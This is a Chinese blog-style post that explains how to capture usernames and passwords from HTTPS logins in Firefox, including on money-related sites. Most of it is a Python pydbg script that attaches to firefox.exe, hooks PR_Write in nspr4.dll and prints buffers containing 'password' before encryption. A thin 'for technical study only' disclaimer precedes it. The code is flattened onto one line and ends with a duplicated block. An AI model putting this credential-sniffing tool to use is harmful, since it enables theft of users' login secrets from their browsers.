相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:
下面是源代码:
#!/ur/bin/env python from pydbg import * from pydbg.defines import *import utils import sys dbg = pydbg() found_firefox = False pattern = "password" def ssl_sniff( dbg, args ): buffer = "" offset = 0 while 1: byte = dbg.read_process_memory( args[1] + offset, 1 ) if byte != "x00": buffer += byte offset += 1 continue else: break if pattern in buffer: print "Pre-Encrypted: %s" % buffer return DBG_CONTINUE # 寻找firefox.exe的进程 for (pid, name) in dbg.enumerate_processes(): if name.lower() == "firefox.exe": found_firefox = True hooks = utils.hook_container() dbg.attach(pid) print "[*] Attaching to firefox.exe with PID: %d" % pid # 得到firefox的hook的 address hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") if hook_address: # 添加hook的内容,包括他的pid,地址,嗅探类型 hooks.add( dbg, hook_address, 2, ssl_sniff, None ) print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address break else: print "[*] Error: Couldn't resolve hook address." sys.exit(-1) if found_firefox: print "[*] Hooks set, continuing process." dbg.run() else: print "[*] Error: Couldn't find the firefox.exe process." sys.exit(-1) if found_firefox: print "[*] Hooks set, continuing process." dbg.run() else: print "[*] Error: Couldn't find the firefox.exe process." sys.exit(-1)
